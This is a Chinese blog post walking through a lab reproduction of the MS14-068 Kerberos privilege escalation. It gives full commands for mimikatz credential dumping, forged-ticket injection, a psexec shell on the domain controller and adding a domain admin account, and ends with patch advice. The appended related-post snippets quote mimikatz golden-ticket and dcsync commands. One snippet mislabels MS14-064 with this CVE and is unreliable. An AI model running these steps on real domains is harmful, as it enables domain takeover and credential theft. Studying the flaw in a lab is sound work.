MS14-068漏洞复现

最新推荐文章于 2024-06-06 19:20:27 发布
最新推荐文章于 2024-06-06 19:20:27 发布
阅读量2.9k 收藏 9
点赞数 4
分类专栏： 漏洞复现 文章标签： 安全 web安全 网络
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_56426046/article/details/127812573
版权

漏洞概述：

该漏洞允许黑客提升任意普通用户权限成为域管理员（Domain Admin）身份。也就是说，你在一台普通域用户的机器上利用这个漏洞，那么这个域用户就变成域管理员权限，然后该域用户就可以控制整个域的所有机器了。

影响版本：

全部版本Windows服务器

漏洞利用前提

  1. 域控没有打MS14-068的补丁(KB3011780)

  2. 拿下一台加入域的计算机（拥有一台域用户的权限）

  3. 有这台域内计算机的域用户密码和Sid

工具下载地址

Ms14-068.exe 下载地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

PSexec 下载地址:https://github.com/crupper/Forensics-Tool-Wiki/blob/master/windowsTools/PsExec64.exe

mimikatz 下载地址:https://github.com/gentilkiwi/mimikatz/releases

环境

域控：win 2008 R2 192.168.1.106 域内主机：win 7 192.168.1.109

漏洞利用思路

  1. 首先利用ms14-068提权工具生成伪造的kerberos协议认证证书（黄金票据）

  2. 利用mimikatz.exe将证书写入，从而提升为域管理员

  3. 测试是否能访问域控C盘目录，能访问则说明提升为域管理员

  4. 利用PsExec.exe获取域控shell，添加用户并将其加入域管理员组

漏洞复现过程

net config workstation

通过命令：net config workstation,可知域名和其他信息。

 

通过命令：nltest /dsgetdc:域名,可知 DC 主机名。

 

如果不是只是本地用户可以用mimikatz 抓取本地的域用户密码

记住mimikatz要有管理员权限不然无法抓取内存密码，可以以管理员权限运行。

输入privilege::debug 权限提升，在输入log 会在当前文件夹下生成后面命令执行的结果方便我们查找数据，最后输入sekurlsa::logonPasswords 抓取密码

这里利用 MS14-068 来提权,先检查下是否有 MS14-068, CVE 编号CVE-2014-6324, 补丁为 3011780 ： systeminfo |find "3011780",如果返回为空就说明没有打补丁,存在漏洞,需要注意的是域内普通用户提权成功后是有时效性的。。

whoami /all 查看用户sid。

 

访问 08server-ad 失败 提示拒绝访问

 

使用 MS14-068 伪造票据： 执行命令：

ms14-068.exe -u test@moonsec.fbi -p 123456 -s S-1-5-21-2801122135-3886333168-273474972-1103 -d 08server-dc.moonsec.fbi

会在当前目录下生成一个凭证。

使用方法：

ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员 sid -d 域控制器地址

 

使用 mimikatz 清空之前缓存的凭证，导入伪造的凭证：

mimikatz # kerberos::purge //清空票据

mimikatz # kerberos::ptc 票据文件地址

 

再输入 dir \08server-dc.moonsec.fbi\c$，发现访问成功，现在我们有域管的权限:

 

利用psexec获取域控权限

psexec.exe \08server-dc.moonsec.fbi cmd

 

添加域管账号密码

net user yesir123 QWE123... /add /domain 
net group "Domain Admins" yesir /add /domain

 

防范建议

针对 Kerberos 域用户提权漏洞： 开启 Windows update 功能，进行自动更新

手动下载补丁包进行修复：Microsoft Security Bulletin MS14-068 - Critical | Microsoft Learn

对域内账号进行控制，禁止使用弱口令、定期修改密码 在服务器上安装杀毒软件，及时更新病毒库

原理

Kerberos流程

PAC原理

黄金票据

（身份认证票据） 黄金票据是伪造票据授予票据（TGT），也被称为认证票据。如下图所示，与域控制器没有AS-REQ或AS-REP（步骤1和2）通信。由于黄金票据是伪造的TGT，它作为TGS-REQ的一部分被发送到域控制器以获得服务票据。Kerberos黄金票据是有效的TGT Kerberos票据，因为它是由域Kerberos帐户（KRBTGT）加密和签名的。TGT仅用于向域控制器上的KDC服务证明用户已被其他域控制器认证。TGT被KRBTGT密码散列加密并且可以被域中的任何KDC服务解密的。

白银票据

（服务授予票据）

白银票据(Silver Tickets)是伪造Kerberos票证授予服务（TGS）的票也称为服务票据。如下图所示，与域控制器没有AS-REQ 和 AS-REP（步骤1和2），也没有TGS-REQ / TGS-REP（步骤3和4）通信。由于银票是伪造的TGS，所以没有与域控制器通信。

参考链接

MS14-068漏洞复现_匿名靓仔的博客-CSDN博客

MS14-068(CVE-2014-6324)域控提权利用及原理解析 - 紅人 - 博客园

Kerberos的黄金票据详解 - 渗透测试中心 - 博客园

Kerberos的白银票据详解 - 渗透测试中心 - 博客园

 

明月装饰了你的窗子，你装饰了别人的梦

夜yesec
关注
  • 4
    点赞
  • 踩
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
专栏目录
ms14-068.exe域内神器
11-25
ms14-068.exe域内神器
ms14-068利用工具包.zip
07-01
"minikataz"是一个提及的64位程序，很可能是一个轻量级的Kerberos模拟环境或测试工具，用于在安全环境中复现MS14-068漏洞。它可能帮助研究人员或安全专家在受控环境下理解漏洞的工作原理，测试修复措施，或者验证...
MS14-068 漏洞复现
box
03-24 891
0x00 漏洞成因 MS14-068 是密钥分发中心（KDC）服务中的Windows漏洞。它允许经过身份验证的用户在其Kerberos票证（TGT）中插入任意PAC（表示所有用户权限的结构）。该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证 简单来说就是： windows域中使用kerberos协议过程中，为了让SS服务器判断Client是否有权限访问服务，引入了PAC机制。构造PAC也是这个漏洞的根本。 在请求AS时，
黄金票据、白银票据与ms14-068
最新发布
mashiro_hibiki的博客
06-06 581
安全技术水平的催化者，星球针对成员的技术问题，快速提供思考方向及解决方案，并为星友提供多种方向的学习资料、安全工具、POC&EXP以及各种学习笔记等，以引导者和催化剂的方式助力安全技术水平的提升。黄金票据的漏洞原理是伪造krbtgt用户的票据，krbtgt用户是域控中用来管理发放票据的用户，拥有了该用户的权限，就可以伪造系统中的任意用户。我们是一个快速成长的team，团队的发展方向与每一位星友的学习方向密切相关，加入我们，一起成为更好的自己！ms14068的漏洞原理是伪造域管的tgt。
【MS14-068漏洞复现】
一纸荒芜的博客
08-26 3226
ms14-068漏洞复现
MS14-068复现
https://www.cnblogs.com/zpchcbd/
09-15 703
kerberos认证流程非常的重要 1、生成TGT： net config workstation ms14-068.exe -u yuyonghu01@top.pentest.top -s S-1-5-21-2174377853-1962599352-171107088-1128 -d top.pentest.top 生成的票据： 2、注入TGT： 1)先查看自己的klist 如...
复现MS14-068
这里是Y.lin的博客，目前是一名网络安全专业的学生，希望和师傅们一起进步吧！
05-23 559
MS14-068
MS14-068AD域提权神器
05-24
本地WINDOWS: 1.python.exe ms14-068.py -u user-a-1@dom-a.loc -s S-1-5-21-557603841-771695929-1514560438-1103 -d dc-a-2003.dom-a.local user-a-1@dom-a.loc位域用户 S-1-5-21-557603841-771695929-1514560438-1103 为账号SID dc-a-2003.dom-a.local域这机全名 可以通过：1)wmic useraccount where name=”USERNAME” get sid 2)whoami /all 本机可以直接查出自己的SID； 用法国神器破解，需要时最新版本的才支持， 2.mimikatz.exe log "kerberos::ptc TGT_user-a-1@dom-a.loc.ccache" exit TGT_user-a-1@dom-a.loc.ccache指的是第一步所生成的ccache文件。 3. kerberos::ptc TGT_secpulse@secpulse.local.ccache 4.查看： klist net use \\DC2.secpulse.local\admin$ //注:使用IP可能会失败 dir \\DC2.secpulse.local\c$ 看看有木有权限 好运~
mimikatz，ms14068
04-02
mimikatz mimikatz is a tool I've made to learn C and make somes experiments with Windows security. It's now well known to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. mimikatz can also perform pass-the-hash, pass-the-ticket or build Golden tickets. .#####. mimikatz 2.0 alpha (x86) release "Kiwi en C" (Apr 6 2014 22:02:03) .## ^ ##. ## / \ ## /* * * ## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) '#####' with 13 modules * * */ mimikatz # privilege::debug Privilege '20' OK mimikatz # sekurlsa::logonpasswords Authentication Id : 0 ; 515764 (00000000:0007deb4) Session : Interactive from 2 User Name : Gentil Kiwi Domain : vm-w7-ult-x SID : S-1-5-21-1982681256-1210654043-1600862990-1000 msv : [00000003] Primary * Username : Gentil Kiwi * Domain : vm-w7-ult-x * LM : d0e9aee149655a6075e4540af1f22d3b * NTLM : cc36cf7a8514893efccd332446158b1a * SHA1 : a299912f3dc7cf0023aef8e4361abfc03e9a8c30 tspkg : * Username : Gentil Kiwi * Domain : vm-w7-ult-x * Password : waza1234/ ... But that's not all! Crypto, Terminal Server, Events, ... lots of informations in the GitHub Wiki https://github.com/gentilkiwi/mimikatz/wiki or on http://blog.gentilkiwi.com (in French, yes). If you don't want to build it, binaries are availables on https://github.com/gentilkiwi/mimikatz/releases Quick usage log privilege::debug sekurlsa sekurlsa::logonpasswords sekurlsa::tickets /export sekurlsa::pth /user:Administrateur /domain:winxp /ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd kerberos kerberos::list /export kerberos::ptt c:\chocolate.kirbi kerberos::golden /admin:administrateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolate.kirbi crypto crypto::capi crypto::cng crypto::certificates /export crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE crypto::keys /export crypto::keys /machine /export vault & lsadump vault::cred vault::list token::elevate vault::cred vault::list lsadump::sam lsadump::secrets lsadump::cache token::revert lsadump::dcsync /user:domain\krbtgt /domain:lab.local Build mimikatz is in the form of a Visual Studio Solution and a WinDDK driver (optional for main operations), so prerequisites are: - for mimikatz and mimilib : Visual Studio 2010, 2012 or 2013 for Desktop (2013 Express for Desktop is free and supports x86 & x64 - http://www.microsoft.com/download/details.aspx?id=44914) - for mimikatz driver, mimilove (and ddk2003 platform) : Windows Driver Kit 7.1 (WinDDK) - http://www.microsoft.com/download/details.aspx?id=11800 mimikatz uses SVN for source control, but is now available with GIT too! You can use any tools you want to sync, even incorporated GIT in Visual Studio 2013 =) Synchronize! - GIT URL is : https://github.com/gentilkiwi/mimikatz.git - SVN URL is : https://github.com/gentilkiwi/mimikatz/trunk - ZIP file is : https://github.com/gentilkiwi/mimikatz/archive/master.zip Build the solution - After opening the solution, Build / Build Solution (you can change architecture) - mimikatz is now built and ready to be used! (Win32 / x64) - you can have error MSB3073 about _build_.cmd and mimidrv, it's because the driver cannot be build without Windows Driver Kit 7.1 (WinDDK), but mimikatz and mimilib are OK. ddk2003 With this optional MSBuild platform, you can use the WinDDK build tools, and the default msvcrt runtime (smaller binaries, no dependencies) For this optional platform, Windows Driver Kit 7.1 (WinDDK) - http://www.microsoft.com/download/details.aspx?id=11800 and Visual Studio 2010 are mandatory, even if you plan to use Visual Studio 2012 or 2013 after. Follow instructions: - http://blog.gentilkiwi.com/programmation/executables-runtime-defaut-systeme - http://blog.gentilkiwi.com/cryptographie/api-systemfunction-windows#winheader Licence CC BY 4.0 licence - https://creativecommons.org/licenses/by/4.0/ Author - Benjamin DELPY gentilkiwi, you can contact me on Twitter ( @gentilkiwi ) or by mail ( benjamin [at] gentilkiwi.com ) - DCSync function in lsadump module was co-writed with Vincent LE TOUX, you contact him by mail ( vincent.letoux [at] gmail.com ) or visit his website ( http://www.mysmartlogon.com ) This is a personal development, please respect its philosophy and don't use it for bad things!
ms14-068复现
weixin_54806373的博客
11-18 269
MS14-068复现 域控制器：windows2008 R2 test.com 192.168.146.138 域内机器：Windows7 1.查看漏洞是否存在 systeminfo 发现没有打相关补丁，漏洞存在 2.配置windows sever2008 R2 打开cmd输入 dcpromo 安装完成后得到结果（详细过程见windows sever2008 R2环境配置） 3.配置windows7 打开网络进行配置 将DNS配置为Windows sever 2008R2的IP 连接成功
MS14-068 复现
prettyX的博客
12-25 644
前言 1、Kerberos协议在过去几年被曝光了一些漏洞，一个影响最大的漏洞是MS14-068。 2、漏洞效果：域用户利用该漏洞可以获取域管理员权限。 3、MS14-068 CVE编号：CVE-2014-6324；补丁号为KB3011780。 环境准备 域环境：本地搭建 域用户主机：Win7 sp1 32位 工具：mimikatz、ms14-068.exe 复现 1、域控漏...
MS14-068 (CVE-2014-6324)域用户提权漏洞
做自己喜欢的事，并将其发挥到极致！
03-15 7303
文章目录声明一、漏洞简介二、漏洞原理三、实验环境四、漏洞利用利用思路前提条件方法一方法二方法三方法四五、参考文章 声明 本篇文章仅用于技术研究，切勿用于非法用途，仅供参考！ 一、漏洞简介 远程权限提升漏洞存在于 Microsoft Windows 的 Kerberos KDC 实现中。存在该漏洞的情况为无法正确验证签名，这可能造成 Kerberos 服务票证的某些方面被人伪造。简单来说就是一个域内的普通账户可以利用此漏洞进行权限提升，升级为域管理员权限。 二、漏洞原理 Kerberos认证原理：http
MS14-068（域提权）漏洞复现
weixin_50985113的博客
06-29 741
这里便用到了我们之前所讲到的 PAC 这个东西，PAC 是用来验证 Client 的访问权限的，它会被TGT 里发送给 Client，然后由 Client 发送给 TGS。但也恰恰是这个 PAC 造成了 MS14-068 这个漏洞。该漏洞是位于 kdcsvc.dll 域控制器的密钥分发中心（KDC）服务中的 Windows 漏洞，它允许经过身份验证的用户在其获得的票证 TGT 中插入任意的 PAC。普通用户可以通过呈现具有改变了 PAC 的 TGT 来伪造票据获得管理员权限。
域渗透☀️MS14-068☀️漏洞复现
君莫hacker的博客
09-11 897
目录0x01 漏洞介绍0x02 环境准备0x03 漏洞复现1. 查看当前用户是否为域用户2. 获取域控信息3. 查看目前权限4. “MS14-068” 工具生成票据5. 打开mimikatz，注入票据6. 验证权限是否提升7. 使用PsExec.exe获取一个交互式shell8. 创建用户，并添加至域管理员组 0x01 漏洞介绍 漏洞概述： 该漏洞允许黑客提升任意普通用户权限成为域管理员（Domain Admin）身份。 漏洞编号 CVE-2014-6324 受影响版本 全部版本Windows服务器
循序渐进了解Kerberos认证工作原理
weixin_33973600的博客
10-16 362
循序渐进了解Kerberos协议的工作过程本文是我在看了这篇英文说明之后的自我总结，还没有写完。。。https://technet.microsoft.com/zh-cn/library/cc961976.aspx是总结，不是翻译，所以是我看后按自己的理解写的，如有问题，请指正！Kerberos这个单词是古希腊神话中一只有三个头的狗，这条狗守护在地狱之门外，防止活人闯入。Ke...
ms14-064漏洞复现停滞在Sending exploit
06-12
我理解你的问题是想要复现 MS14-064 漏洞，但是在发送 exploit 时遇到了问题，出现了停滞的情况。 首先，MS14-064 是一个由 Microsoft 发布的安全公告，涉及的漏洞编号为 CVE-2014-6324，它存在于 Windows Object Linking and Embedding (OLE) 中，攻击者可以利用该漏洞实现远程执行代码。 如果你想要复现该漏洞，可以先找到一个受影响的 Windows 系统，并下载相应的漏洞利用工具。在发送 exploit 之前，你需要确保目标主机与攻击者主机之间能够正常通信，并且攻击者主机已经安装了相应的依赖库和工具。 如果出现了停滞的情况，可能是由于网络连接出现了问题，或是漏洞利用工具配置不正确等原因。你可以根据漏洞利用工具的日志信息来进行排查，或是参考相关的攻击教程进行调试。 需要注意的是，漏洞利用是一项高度危险的操作，建议在合法授权的情况下进行，并且不要在生产环境中进行测试。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

夜yesec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值